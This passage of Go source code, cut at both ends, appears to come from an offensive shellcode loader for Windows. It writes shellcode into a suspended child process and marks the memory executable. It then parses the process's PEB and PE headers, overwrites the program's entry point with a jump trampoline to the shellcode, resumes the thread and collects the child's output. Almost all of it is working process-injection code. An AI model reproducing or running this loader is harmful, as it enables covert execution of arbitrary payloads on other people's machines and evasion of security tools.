log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
|
||||
}
|
||||
|
||||
if addr == 0 {
|
||||
log.Fatal("[!]VirtualAllocEx failed and returned 0")
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully allocated memory in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Shellcode address: 0x%x", addr))
|
||||
}
|
||||
|
||||
// Write shellcode into child process memory
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
_, _, errWriteProcessMemory := WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
|
||||
|
||||
if errWriteProcessMemory != nil && errWriteProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully wrote %d shellcode bytes to PID %d", len(shellcode), procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Change memory permissions to RX in child process where shellcode was written
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling VirtualProtectEx on PID %d...", procInfo.ProcessId))
|
||||
}
|
||||
oldProtect := windows.PAGE_READWRITE
|
||||
_, _, errVirtualProtectEx := VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if errVirtualProtectEx != nil && errVirtualProtectEx.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("Error calling VirtualProtectEx:\r\n%s", errVirtualProtectEx.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Successfully changed memory permissions to PAGE_EXECUTE_READ in PID %d", procInfo.ProcessId))
|
||||
}
|
||||
|
||||
// Query the child process and find its image base address from its Process Environment Block (PEB)
|
||||
// https://github.com/winlabs/gowin32/blob/0b6f3bef0b7501b26caaecab8d52b09813224373/wrappers/winternl.go#L37
|
||||
// http://bytepointer.com/resources/tebpeb32.htm
|
||||
// https://www.nirsoft.net/kernel_struct/vista/PEB.html
|
||||
type PEB struct {
|
||||
//reserved1 [2]byte // BYTE 0-1
|
||||
InheritedAddressSpace byte // BYTE 0
|
||||
ReadImageFileExecOptions byte // BYTE 1
|
||||
BeingDebugged byte // BYTE 2
|
||||
reserved2 [1]byte // BYTE 3
|
||||
// ImageUsesLargePages : 1; //0x0003:0 (WS03_SP1+)
|
||||
// IsProtectedProcess : 1; //0x0003:1 (Vista+)
|
||||
// IsLegacyProcess : 1; //0x0003:2 (Vista+)
|
||||
// IsImageDynamicallyRelocated : 1; //0x0003:3 (Vista+)
|
||||
// SkipPatchingUser32Forwarders : 1; //0x0003:4 (Vista_SP1+)
|
||||
// IsPackagedProcess : 1; //0x0003:5 (Win8_BETA+)
|
||||
// IsAppContainer : 1; //0x0003:6 (Win8_RTM+)
|
||||
// SpareBit : 1; //0x0003:7
|
||||
//reserved3 [2]uintptr // PVOID BYTE 4-8
|
||||
Mutant uintptr // BYTE 4
|
||||
ImageBaseAddress uintptr // BYTE 8
|
||||
Ldr uintptr // PPEB_LDR_DATA
|
||||
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
|
||||
reserved4 [3]uintptr // PVOID
|
||||
AtlThunkSListPtr uintptr // PVOID
|
||||
reserved5 uintptr // PVOID
|
||||
reserved6 uint32 // ULONG
|
||||
reserved7 uintptr // PVOID
|
||||
reserved8 uint32 // ULONG
|
||||
AtlThunkSListPtr32 uint32 // ULONG
|
||||
reserved9 [45]uintptr // PVOID
|
||||
reserved10 [96]byte // BYTE
|
||||
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
|
||||
reserved11 [128]byte // BYTE
|
||||
reserved12 [1]uintptr // PVOID
|
||||
SessionId uint32 // ULONG
|
||||
}
|
||||
|
||||
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
|
||||
type PROCESS_BASIC_INFORMATION struct {
|
||||
reserved1 uintptr // PVOID
|
||||
PebBaseAddress uintptr // PPEB
|
||||
reserved2 [2]uintptr // PVOID
|
||||
UniqueProcessId uintptr // ULONG_PTR
|
||||
InheritedFromUniqueProcessID uintptr // PVOID
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling NtQueryInformationProcess on %d...", procInfo.ProcessId))
|
||||
}
|
||||
|
||||
var processInformation PROCESS_BASIC_INFORMATION
|
||||
var returnLength uintptr
|
||||
ntStatus, _, errNtQueryInformationProcess := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
|
||||
if errNtQueryInformationProcess != nil && errNtQueryInformationProcess.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", errNtQueryInformationProcess.Error()))
|
||||
}
|
||||
if ntStatus != 0 {
|
||||
if ntStatus == 3221225476 {
|
||||
log.Fatal("[!]Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!]NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling NtQueryInformationProcess:\r\n\t%s", syscall.Errno(ntStatus)))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Got PEB info from NtQueryInformationProcess")
|
||||
}
|
||||
|
||||
// Read from PEB base address to populate the PEB structure
|
||||
// ReadProcessMemory
|
||||
/*
|
||||
BOOL ReadProcessMemory(
|
||||
HANDLE hProcess,
|
||||
LPCVOID lpBaseAddress,
|
||||
LPVOID lpBuffer,
|
||||
SIZE_T nSize,
|
||||
SIZE_T *lpNumberOfBytesRead
|
||||
);
|
||||
*/
|
||||
|
||||
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for PEB...")
|
||||
}
|
||||
|
||||
var peb PEB
|
||||
var readBytes int32
|
||||
|
||||
_, _, errReadProcessMemory := ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
|
||||
if errReadProcessMemory != nil && errReadProcessMemory.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PEB", readBytes))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PEB: %+v", peb))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PEB ImageBaseAddress: 0x%x", peb.ImageBaseAddress))
|
||||
}
|
||||
|
||||
// Read the child program's DOS header and validate it is a MZ executable
|
||||
type IMAGE_DOS_HEADER struct {
|
||||
Magic uint16 // USHORT Magic number
|
||||
Cblp uint16 // USHORT Bytes on last page of file
|
||||
Cp uint16 // USHORT Pages in file
|
||||
Crlc uint16 // USHORT Relocations
|
||||
Cparhdr uint16 // USHORT Size of header in paragraphs
|
||||
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
|
||||
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
|
||||
SS uint16 // USHORT Initial (relative) SS value
|
||||
SP uint16 // USHORT Initial SP value
|
||||
CSum uint16 // USHORT Checksum
|
||||
IP uint16 // USHORT Initial IP value
|
||||
CS uint16 // USHORT Initial (relative) CS value
|
||||
LfaRlc uint16 // USHORT File address of relocation table
|
||||
Ovno uint16 // USHORT Overlay number
|
||||
Res [4]uint16 // USHORT Reserved words
|
||||
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
|
||||
OEMInfo uint16 // USHORT OEM information; e_oemid specific
|
||||
Res2 [10]uint16 // USHORT Reserved words
|
||||
LfaNew int32 // LONG File address of new exe header
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_DOS_HEADER...")
|
||||
}
|
||||
|
||||
var dosHeader IMAGE_DOS_HEADER
|
||||
var readBytes2 int32
|
||||
|
||||
_, _, errReadProcessMemory2 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
|
||||
if errReadProcessMemory2 != nil && errReadProcessMemory2.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory2.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_DOS_HEADER", readBytes2))
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_DOS_HEADER: %+v", dosHeader))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Magic: %s", string(dosHeader.Magic&0xff)+string(dosHeader.Magic>>8))) // LittleEndian
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]PE header offset: 0x%x", dosHeader.LfaNew))
|
||||
}
|
||||
|
||||
// 23117 is the LittleEndian unsigned base10 representation of MZ
|
||||
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
|
||||
if dosHeader.Magic != 23117 {
|
||||
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
|
||||
}
|
||||
|
||||
// Read the child process's PE header signature to validate it is a PE
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for PE Signature...")
|
||||
}
|
||||
var Signature uint32
|
||||
var readBytes3 int32
|
||||
|
||||
_, _, errReadProcessMemory3 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
|
||||
if errReadProcessMemory3 != nil && errReadProcessMemory3.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory3.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for PE Signature", readBytes3))
|
||||
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEUBG]PE Signature: 0x%x", Signature))
|
||||
}
|
||||
|
||||
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
|
||||
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
|
||||
if Signature != 17744 {
|
||||
log.Fatal("[!]PE Signature string was not PE")
|
||||
}
|
||||
|
||||
// Read the child process's PE file header
|
||||
/*
|
||||
typedef struct _IMAGE_FILE_HEADER {
|
||||
USHORT Machine;
|
||||
USHORT NumberOfSections;
|
||||
ULONG TimeDateStamp;
|
||||
ULONG PointerToSymbolTable;
|
||||
ULONG NumberOfSymbols;
|
||||
USHORT SizeOfOptionalHeader;
|
||||
USHORT Characteristics;
|
||||
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
|
||||
*/
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_FILE_HEADER...")
|
||||
}
|
||||
var peHeader IMAGE_FILE_HEADER
|
||||
var readBytes4 int32
|
||||
|
||||
_, _, errReadProcessMemory4 := ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
|
||||
if errReadProcessMemory4 != nil && errReadProcessMemory4.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory4.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_FILE_HEADER", readBytes4))
|
||||
switch peHeader.Machine {
|
||||
case 34404: // 0x8664
|
||||
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_AMD64 (x64)")
|
||||
case 332: // 0x14c
|
||||
fmt.Println("[-]Machine type: IMAGE_FILE_MACHINE_I386 (x86)")
|
||||
default:
|
||||
fmt.Println(fmt.Sprintf("[-]Machine type UNKOWN: 0x%x", peHeader.Machine))
|
||||
}
|
||||
}
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_FILE_HEADER: %+v", peHeader))
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Machine: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// Read the child process's PE optional header to find it's entry point
|
||||
/*
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header64
|
||||
typedef struct _IMAGE_OPTIONAL_HEADER64 {
|
||||
WORD Magic;
|
||||
BYTE MajorLinkerVersion;
|
||||
BYTE MinorLinkerVersion;
|
||||
DWORD SizeOfCode;
|
||||
DWORD SizeOfInitializedData;
|
||||
DWORD SizeOfUninitializedData;
|
||||
DWORD AddressOfEntryPoint;
|
||||
DWORD BaseOfCode;
|
||||
ULONGLONG ImageBase;
|
||||
DWORD SectionAlignment;
|
||||
DWORD FileAlignment;
|
||||
WORD MajorOperatingSystemVersion;
|
||||
WORD MinorOperatingSystemVersion;
|
||||
WORD MajorImageVersion;
|
||||
WORD MinorImageVersion;
|
||||
WORD MajorSubsystemVersion;
|
||||
WORD MinorSubsystemVersion;
|
||||
DWORD Win32VersionValue;
|
||||
DWORD SizeOfImage;
|
||||
DWORD SizeOfHeaders;
|
||||
DWORD CheckSum;
|
||||
WORD Subsystem;
|
||||
WORD DllCharacteristics;
|
||||
ULONGLONG SizeOfStackReserve;
|
||||
ULONGLONG SizeOfStackCommit;
|
||||
ULONGLONG SizeOfHeapReserve;
|
||||
ULONGLONG SizeOfHeapCommit;
|
||||
DWORD LoaderFlags;
|
||||
DWORD NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
|
||||
} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;
|
||||
*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
/*
|
||||
https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_optional_header32
|
||||
typedef struct _IMAGE_OPTIONAL_HEADER {
|
||||
WORD Magic;
|
||||
BYTE MajorLinkerVersion;
|
||||
BYTE MinorLinkerVersion;
|
||||
DWORD SizeOfCode;
|
||||
DWORD SizeOfInitializedData;
|
||||
DWORD SizeOfUninitializedData;
|
||||
DWORD AddressOfEntryPoint;
|
||||
DWORD BaseOfCode;
|
||||
DWORD BaseOfData;
|
||||
DWORD ImageBase;
|
||||
DWORD SectionAlignment;
|
||||
DWORD FileAlignment;
|
||||
WORD MajorOperatingSystemVersion;
|
||||
WORD MinorOperatingSystemVersion;
|
||||
WORD MajorImageVersion;
|
||||
WORD MinorImageVersion;
|
||||
WORD MajorSubsystemVersion;
|
||||
WORD MinorSubsystemVersion;
|
||||
DWORD Win32VersionValue;
|
||||
DWORD SizeOfImage;
|
||||
DWORD SizeOfHeaders;
|
||||
DWORD CheckSum;
|
||||
WORD Subsystem;
|
||||
WORD DllCharacteristics;
|
||||
DWORD SizeOfStackReserve;
|
||||
DWORD SizeOfStackCommit;
|
||||
DWORD SizeOfHeapReserve;
|
||||
DWORD SizeOfHeapCommit;
|
||||
DWORD LoaderFlags;
|
||||
DWORD NumberOfRvaAndSizes;
|
||||
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
|
||||
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
|
||||
*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion byte
|
||||
MinorLinkerVersion byte
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32 // Different from 64 bit header
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory uintptr
|
||||
}
|
||||
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadProcessMemory for IMAGE_OPTIONAL_HEADER...")
|
||||
}
|
||||
|
||||
var optHeader64 IMAGE_OPTIONAL_HEADER64
|
||||
var optHeader32 IMAGE_OPTIONAL_HEADER32
|
||||
var errReadProcessMemory5 error
|
||||
var readBytes5 int32
|
||||
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else if peHeader.Machine == 332 { // 0x14c
|
||||
_, _, errReadProcessMemory5 = ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
if errReadProcessMemory5 != nil && errReadProcessMemory5.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ReadProcessMemory:\r\n\t%s", errReadProcessMemory5.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]ReadProcessMemory completed reading %d bytes for IMAGE_OPTIONAL_HEADER", readBytes5))
|
||||
}
|
||||
if *debug {
|
||||
if peHeader.Machine == 332 { // 0x14c
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER32: %+v", optHeader32))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader32.ImageBase))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader32.AddressOfEntryPoint))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader32.AddressOfEntryPoint)))
|
||||
}
|
||||
if peHeader.Machine == 34404 { // 0x8664
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]IMAGE_OPTIONAL_HEADER64: %+v", optHeader64))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]ImageBase: 0x%x", optHeader64.ImageBase))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (relative): 0x%x", optHeader64.AddressOfEntryPoint))
|
||||
fmt.Println(fmt.Sprintf("\t[DEBUG]AddressOfEntryPoint (absolute): 0x%x", peb.ImageBaseAddress+uintptr(optHeader64.AddressOfEntryPoint)))
|
||||
}
|
||||
}
|
||||
|
||||
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
|
||||
var ep uintptr
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
var epBuffer []byte
|
||||
var shellcodeAddressBuffer []byte
|
||||
// x86 - 0xb8 = mov eax
|
||||
// x64 - 0x48 = rex (declare 64bit); 0xb8 = mov eax
|
||||
if peHeader.Machine == 34404 { // 0x8664 x64
|
||||
epBuffer = append(epBuffer, byte(0x48))
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
|
||||
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else if peHeader.Machine == 332 { // 0x14c x86
|
||||
epBuffer = append(epBuffer, byte(0xb8))
|
||||
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
|
||||
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
|
||||
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
|
||||
} else {
|
||||
log.Fatal(fmt.Sprintf("[!]Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
|
||||
}
|
||||
|
||||
// 0xff ; 0xe0 = jmp [r|e]ax
|
||||
epBuffer = append(epBuffer, byte(0xff))
|
||||
epBuffer = append(epBuffer, byte(0xe0))
|
||||
|
||||
if *debug {
|
||||
fmt.Println(fmt.Sprintf("[DEBUG]Calling WriteProcessMemory to overwrite AddressofEntryPoint at 0x%x with trampoline: 0x%x...", ep, epBuffer))
|
||||
}
|
||||
|
||||
_, _, errWriteProcessMemory2 := WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
|
||||
|
||||
if errWriteProcessMemory2 != nil && errWriteProcessMemory2.Error() != "The operation completed successfully." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling WriteProcessMemory:\r\n%s", errWriteProcessMemory2.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[-]Successfully overwrote the AddressofEntryPoint")
|
||||
}
|
||||
|
||||
// Resume the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ResumeThread...")
|
||||
}
|
||||
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
|
||||
if errResumeThread != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println("[+]Process resumed and shellcode executed")
|
||||
}
|
||||
|
||||
// Close the handle to the child process
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process...")
|
||||
}
|
||||
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
|
||||
if errCloseProcHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the hand to the child process thread
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling CloseHandle on child process thread...")
|
||||
}
|
||||
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
|
||||
if errCloseThreadHandle != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
|
||||
}
|
||||
|
||||
// Close the write handle the anonymous STDOUT pipe
|
||||
errCloseStdOutWrite := windows.CloseHandle(stdOutWrite)
|
||||
if errCloseStdOutWrite != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing STDOUT pipe write handle:\r\n\t%s", errCloseStdOutWrite.Error()))
|
||||
}
|
||||
|
||||
// Close the read handle to the anonymous STDIN pipe
|
||||
errCloseStdInRead := windows.CloseHandle(stdInRead)
|
||||
if errCloseStdInRead != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]Error closing the STDIN pipe read handle:\r\n\t%s", errCloseStdInRead.Error()))
|
||||
}
|
||||
|
||||
// Close the write handle to the anonymous STDERR pipe
|
||||
errCloseStdErrWrite := windows.CloseHandle(stdErrWrite)
|
||||
if errCloseStdErrWrite != nil {
|
||||
log.Fatal(fmt.Sprintf("[!]err closing STDERR pipe write handle:\r\n\t%s", errCloseStdErrWrite.Error()))
|
||||
}
|
||||
|
||||
// Read STDOUT from child process
|
||||
/*
|
||||
BOOL ReadFile(
|
||||
HANDLE hFile,
|
||||
LPVOID lpBuffer,
|
||||
DWORD nNumberOfBytesToRead,
|
||||
LPDWORD lpNumberOfBytesRead,
|
||||
LPOVERLAPPED lpOverlapped
|
||||
);
|
||||
*/
|
||||
nNumberOfBytesToRead := make([]byte, 1)
|
||||
var stdOutBuffer []byte
|
||||
var stdOutDone uint32
|
||||
var stdOutOverlapped windows.Overlapped
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadFile on STDOUT pipe...")
|
||||
}
|
||||
for {
|
||||
errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped)
|
||||
if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdOut.Error()))
|
||||
}
|
||||
if int(stdOutDone) == 0 {
|
||||
break
|
||||
}
|
||||
for _, b := range nNumberOfBytesToRead {
|
||||
stdOutBuffer = append(stdOutBuffer, b)
|
||||
}
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDOUT", len(stdOutBuffer)))
|
||||
}
|
||||
|
||||
// Read STDERR from child process
|
||||
var stdErrBuffer []byte
|
||||
var stdErrDone uint32
|
||||
var stdErrOverlapped windows.Overlapped
|
||||
if *debug {
|
||||
fmt.Println("[DEBUG]Calling ReadFile on STDERR pipe...")
|
||||
}
|
||||
for {
|
||||
errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped)
|
||||
if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." {
|
||||
log.Fatal(fmt.Sprintf("[!]Error reading from STDOUT pipe:\r\n\t%s", errReadFileStdErr.Error()))
|
||||
}
|
||||
if int(stdErrDone) == 0 {
|
||||
break
|
||||
}
|
||||
for _, b := range nNumberOfBytesToRead {
|
||||
stdErrBuffer = append(stdErrBuffer, b)
|
||||
}
|
||||
}
|
||||
if *verbose {
|
||||
fmt.Println(fmt.Sprintf("[-]Finished reading %d bytes from STDERR", len(stdErrBuffer)))
|
||||
}
|
||||
|
||||
// Write the data collected from the childprocess' STDOUT to the parent process' STOUTOUT
|
||||
if len(stdOutBuffer) > 0 {
|
||||
